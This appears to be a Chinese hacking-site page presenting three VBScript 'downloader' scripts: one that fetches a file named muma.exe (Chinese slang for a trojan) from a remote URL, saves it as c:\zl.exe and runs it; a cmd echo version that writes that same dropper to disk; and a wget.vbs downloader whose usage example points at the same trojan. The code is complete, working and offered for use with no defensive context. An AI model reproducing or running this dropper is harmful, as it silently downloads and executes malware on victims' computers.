一、VBS下载者：

复制代码 代码如下:

Set Post = CreateObject(“Msxml2.XMLHTTP”)

Set Shell = CreateObject(“Wscript.Shell”)

Post.Open “GET”,”http://www.jbzj.com/muma.exe”,0

Post.Send()

Set aGet = CreateObject(“adoDB.Stream”)

aGet.Mode = 3

aGet.Type = 1

aGet.Open()

aGet.Write(Post.responseBody)

aGet.SaveToFile “c:\zl.exe”,2

wscript.sleep 1000

Shell.Run (“c:\zl.exe”) ‘延迟过后执行下载文件

二、cmd下执行的版本：

复制代码 代码如下:

echo Set Post = CreateObject(“Msxml2.XMLHTTP”) >>zl.vbs

echo Set Shell = CreateObject(“Wscript.Shell”) >>zl.vbs

echo Post.Open “GET”,”http://www.jbzj.com/muma.exe”,0 >>zl.vbs

echo Post.Send() >>zl.vbs

echo Set aGet = CreateObject(“ADODB.Stream”) >>zl.vbs

echo aGet.Mode = 3 >>zl.vbs

echo aGet.Type = 1 >>zl.vbs

echo aGet.Open() >>zl.vbs

echo aGet.Write(Post.responseBody) >>zl.vbs

echo aGet.SaveToFile “c:\zl.exe”,2 >>zl.vbs

echo wscript.sleep 1000 >>zl.vbs

echo Shell.Run (“c:\zl.exe”) >>zl.vbs

三、wget.vbs

复制代码 代码如下:

on error resume next

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

iUser=LCase(Wscript.Arguments(2))

iPass=LCase(Wscript.Arguments(3))

set xPost=CreateObject(“Microsoft.XMLHTTP”)

if iUser=”” and iPass=”” then

xPost.Open “GET”,iRemote,0

else

xPost.Open “GET”,iRemote,0,iUser,iPass

end if

xPost.Send()

set sGet=CreateObject(“ADODB.Stream”)

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.Write xPost.ResponseBody

sGet.SaveToFile iLocal,2

使用方法：cscript wget.vbs http://www.jbzj.com/muma.exe

您可能感兴趣的文章:

声明：本站（华域联盟www.cnhackhy.com）所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。